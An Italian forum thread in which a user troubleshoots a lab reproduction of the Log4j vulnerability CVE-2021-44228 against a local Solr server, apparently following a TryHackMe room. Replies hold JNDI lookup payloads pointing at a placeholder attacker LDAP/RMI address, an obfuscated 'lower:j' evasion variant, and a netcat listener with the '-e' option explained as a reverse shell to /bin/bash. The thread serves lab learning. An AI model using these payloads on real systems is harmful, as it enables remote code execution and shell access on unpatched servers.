Discussione Domanda CVE-2021-44228 Problema

NSteel

Utente Silver
21 Luglio 2014
116
27
10
91
Buonasera,
stavo provando a replicare la vulnerabilità relativa a Log4j, in particolare CVE-2021-44228.
Ci sono molteplici guide online su come fare (ex. https://tryhackme.com/room/solar) ma non riesco a far funzionare il punto "Exploitation" del link precedentemente linkato.
In breve non riesco a connettermi al "mio" netcat.
Per semplicità in questo esempio l'attaccante e il server (solr) vulnerabile sono sulla stessa macchina, ho già provato ad attaccare con un'altra macchina e mi da lo stesso problema: non ottengo la shell su netcat (come si vede dalla macchiana seed, attaccante).
Aggiungo una foto per semplicità.

Grazie mille a chi mi aiuta.
 

Allegati

  • problemaLog4j.JPG
    problemaLog4j.JPG
    479.6 KB · Visualizzazioni: 4
  • problemaLog4j_2.JPG
    problemaLog4j_2.JPG
    620.8 KB · Visualizzazioni: 7
Buonasera,
stavo provando a replicare la vulnerabilità relativa a Log4j, in particolare CVE-2021-44228.
Ci sono molteplici guide online su come fare (ex. https://tryhackme.com/room/solar) ma non riesco a far funzionare il punto "Exploitation" del link precedentemente linkato.
In breve non riesco a connettermi al "mio" netcat.
Per semplicità in questo esempio l'attaccante e il server (solr) vulnerabile sono sulla stessa macchina, ho già provato ad attaccare con un'altra macchina e mi da lo stesso problema: non ottengo la shell su netcat (come si vede dalla macchiana seed, attaccante).
Aggiungo una foto per semplicità.

Grazie mille a chi mi aiuta.
Lo stesso payload con un comando diverso funziona? Prova a vedere se con ad esempio touch /dev/shm/poc.txt riesci a farlo funzionare, in questo modo cerchiamo di debuggare quale possa essere il problema
 
Ultima modifica:
Buongiorno,
non ho esattamente capito quello che mi hai chiesto. Però posso assicurarti che la macchina è vulnerabile dato che mi viene restituito questo (punto Proof Of Concept).
Messaggio unito automaticamente:

Sostanzialmente è come se il mio server http non riuscisse a reindirizzare il la shell dell'expoit alla porta 999 perchè, come si vede anche dallo screen, nella schermata del server web ottengo un "200 OK".
Messaggio unito automaticamente:

AGGIORNAMENTO:
Ho provato ad avviare apache2 e mettere all'interno della cartella www i file .java e .class..
Anche in questo caso non mi viene rindirizzato verso il mio netcat
 

Allegati

  • problemaLog4j_3.JPG
    problemaLog4j_3.JPG
    132.8 KB · Visualizzazioni: 6
Hai verificato che LDAPRefServer sia in esecuzione e rimandi correttamente al servizio http? Nel link che hai mandato spiega come scaricare il repo e configurarlo.
 
Hai verificato che LDAPRefServer sia in esecuzione e rimandi correttamente al servizio http? Nel link che hai mandato spiega come scaricare il repo e configurarlo.
Credo che venga mandato correttamente perchè nella shell dove ho
Codice:
python3 -m http.server
mi restituisce "200 OK".
Sto sbagliando qualcosa?
 
Ho visto meglio gli screen e arrivando la richiesta GET dall'applicativo java è chiaro che il server ldap reindirizza bene.
Hai provato ad eseguire il file .class manualmente? Apre la shell?

Se si credo che dovresti debuggare cosa rispondono il server ldap e quello http nel dettaglio, magari è una stupidaggine tipo un mime-type sbagliato negli header della risposta del server http o qualche info mancante tipo il nome della classe (non del file) dal server ldap.
 
Ultima modifica:
Ho visto meglio gli screen e arrivando la richiesta GET dall'applicativo java è chiaro che il server ldap reindirizza bene.
Hai provato ad eseguire il file .class manualmente? Apre la shell?

Se si credo che dovresti debuggare cosa rispondono il server ldap e quello http nel dettaglio, magari è una stupidaggine tipo un mime-type sbagliato negli header della risposta del server http o qualche info mancante tipo il nome della classe (non del file) dal server ldap.
Allora, ho provato ad avviare
Codice:
java Exploit
e mi dava errore perchè non avevo
Codice:
public static void main(String[] args)
ma anche aggiungendolo non cambia nulla.
Al momento ho aperto un listener nc -lnvp 9999 e avviato lo script java da linea di comando ma non funziona; non mi si connette.
Cosa potrei fare? Non mi viene in mente nulla!
Grazie dei tuoi suggerimenti.

Ps: @0xbro se anche te hai qualche suggerimento sono ben accetti

EDIT: RISOLTO!
Non chiedetemi come mai ma il parametro "-e" non funziona con nc ma ho dovuto installare ncat!
Ora funziona..
 
Allora, ho provato ad avviare
Codice:
java Exploit
e mi dava errore perchè non avevo
Codice:
public static void main(String[] args)
ma anche aggiungendolo non cambia nulla.
Al momento ho aperto un listener nc -lnvp 9999 e avviato lo script java da linea di comando ma non funziona; non mi si connette.
Cosa potrei fare? Non mi viene in mente nulla!
Grazie dei tuoi suggerimenti.

Ps: @0xbro se anche te hai qualche suggerimento sono ben accetti

EDIT: RISOLTO!
Non chiedetemi come mai ma il parametro "-e" non funziona con nc ma ho dovuto installare ncat!
Ora funziona..
il parametro -e | --exec è considerato "pericoloso", lo dice netcat stesso, permette l'esecuzione di un programma dopo la connessione, nel caso dell'exploit che stai usando esegue /bin/bash, quindi di conseguenza una volta che avrai ricevuto la connessione sarà eseguita la shell bash, in questo modo hai creato una semplice reverse shell:
Screenshot from 2022-09-15 22-57-35.png
Devi installare netcat-traditional se vuoi la flag -e:
Screenshot from 2022-09-15 22-56-00.png
 
il parametro -e | --exec è considerato "pericoloso", lo dice netcat stesso, permette l'esecuzione di un programma dopo la connessione, nel caso dell'exploit che stai usando esegue /bin/bash, quindi di conseguenza una volta che avrai ricevuto la connessione sarà eseguita la shell bash, in questo modo hai creato una semplice reverse shell:
Devi installare netcat-traditional se vuoi la flag -e:
Si esatto, se non si era capito intendevo proprio questo. Ho installato ncat e ora funziona correttamente.
Ora stavo provando a fare l'exploit utilizzando la sezione "Bypass" ma non riesco a buildarne uno funzionante.
 
  • Mi piace
Reazioni: hackynonpointer
Ora stavo provando a fare l'exploit utilizzando la sezione "Bypass" ma non riesco a buildarne uno funzionante.
Cosa non ti torna? In teoria da quello che vedo, nella sezione Bypass sono presenti solamente altri payload da utilizzare per richiamare sempre il file .class che hai generato.
Tutti quei payload semi-offuscati sono da usare per triggerare la vulnerabilità e contattare nuovamente il tuo server LDAP come nel primo caso.
 
Cosa non ti torna? In teoria da quello che vedo, nella sezione Bypass sono presenti solamente altri payload da utilizzare per richiamare sempre il file .class che hai generato.
Tutti quei payload semi-offuscati sono da usare per triggerare la vulnerabilità e contattare nuovamente il tuo server LDAP come nel primo caso.
Non mi torna il fatto che non ottengo niente quando attivo il payload tramite altro moto. Non ricevo nessuna notifica sul server LDAP ne tanto meno sul server http; rimangono in attesa. (ovviamente nemmeno sul nc).
Il payload l'ho attivato così
1663404434082.png

Oppure
1663404680944.png
 
Non mi torna il fatto che non ottengo niente quando attivo il payload tramite altro moto. Non ricevo nessuna notifica sul server LDAP ne tanto meno sul server http; rimangono in attesa. (ovviamente nemmeno sul nc).
Il payload l'ho attivato così
Visualizza allegato 65187
Oppure
Visualizza allegato 65188
Prova a controllare, per esempio, la prima foto che hai mandato dell'exploit: mi sembra che ci sia un errore di battitura nello script, hai aggiunto un escape "\" dopo "foo=$\". Prova a rimuovere e facci sapere.
 
  • Mi piace
Reazioni: 0xbro
Prova a controllare, per esempio, la prima foto che hai mandato dell'exploit: mi sembra che ci sia un errore di battitura nello script, hai aggiunto un escape "\" dopo "foo=$\". Prova a rimuovere e facci sapere.
Le avevo messo per questo motivo:
1663413447044.png

Senza non funziona e mi da questo errore, mentre con le parentesi "sembra" andare perchè non restituisce nessun errore come in questo caso.
Prima che me lo chiedate: mettere lo backslash "\" qui foo=${$\.... non funziona ugualmente. O meglio, sembra partire la richiesta perchè mi restituisce la risposta giusta ma non mi triggera nè il server LDAP nè il payload
 
Ultima modifica:
Le avevo messo per questo motivo:
Visualizza allegato 65205
Senza non funziona e mi da questo errore, mentre con le parentesi "sembra" andare perchè non restituisce nessun errore come in questo caso.
Prima che me lo chiedate: mettere lo backslash "\" qui foo=${$\.... non funziona ugualmente. O meglio, sembra partire la richiesta perchè mi restituisce la risposta giusta ma non mi triggera nè il server LDAP nè il payload
mmm... non vorrei che tutti questi caratteri speciali facessero casino nella shell. Sai usare burpsuite? Potresti provare usando quel tool, almeno non hai problemi di escaping. In alternativa puoi provare utilizzando python, così che non debba di nuovo sclerare con tutti i caratteri speciali
 
mmm... non vorrei che tutti questi caratteri speciali facciano casino nella shell. Sai usare burpsuite? Potresti provare usando quel tool, almeno non hai problemi di escaping. In alternativa puoi provare utilizzando python, così che non debba di nuovo sclerare con tutti i caratteri speciali
Si, so usare burpsuite e ho appena provato.
Il payload che funziona anche da riga di comando sono riuscito a farlo partire da Burpsuite, mentre quest'ultimo (con :rmi) no.
Ho provato sia con ...Exploit/} che con ..Exploit} senza il backslach finale (come credo sia giusto).
1663416430161.png
 
Mi viene il dubbio che magari il protocollo RMI non sia supportato o abilitato, il payload sembra corretto.
Se provi senza fare evasion (quindi solo con jndi:rmi://attackerendpoint.com/ tra parentesi e con il dollaro davanti) funziona?
Le altre evasion sempre con LDAP funzionano?
 
Ultima modifica:
1663418525999.png

Purtroppo non mi da segni di vita
Messaggio unito automaticamente:

1663419157028.png

Ho pure provato questo payload ma non mi arriva nessuna notifica nel server LDAP e questo non dovrebbe usare rmi ma solo jndi:ldap
 
Io sinceramente non saprei, l'unico consiglio che mi sento ancora di darti è quello di provare esattamente una sola casistica alla volta in modo da fare troubleshooting e capire quale sia la discriminante che fa e non fa funzionare il payload.
Del tipo inizio con jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\ e dovrebbe funzionare in quanto è la casistica classica.
Provo poi un evasion semplice, del tipo $ { lower:j } ndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\ e vedo se funziona, e via così ad esclusione con tutte le varie tecniche di evasion, sempre mantenendo però le cose semplici e una sola casistica alla volta... dopo un po' dovresti riuscire a capire quale sia la discriminante che fa sì che il payload funzioni oppure no
 
  • Mi piace
Reazioni: NSteel
Io sinceramente non saprei, l'unico consiglio che mi sento ancora di darti è quello di provare esattamente una sola casistica alla volta in modo da fare troubleshooting e capire quale sia la discriminante che fa e non fa funzionare il payload.
Del tipo inizio con jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\ e dovrebbe funzionare in quanto è la casistica classica.
Provo poi un evasion semplice, del tipo $ { lower:j } ndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\ e vedo se funziona, e via così ad esclusione con tutte le varie tecniche di evasion, sempre mantenendo però le cose semplici e una sola casistica alla volta... dopo un po' dovresti riuscire a capire quale sia la discriminante che fa sì che il payload funzioni oppure no
Grazie mille del consiglio, pure io ho provato a fare una cosa del genere ma già al "primo tentativo" non funziona. Bho.
Grazie mille comunque del supporto
 
  • Mi piace
Reazioni: 0xbro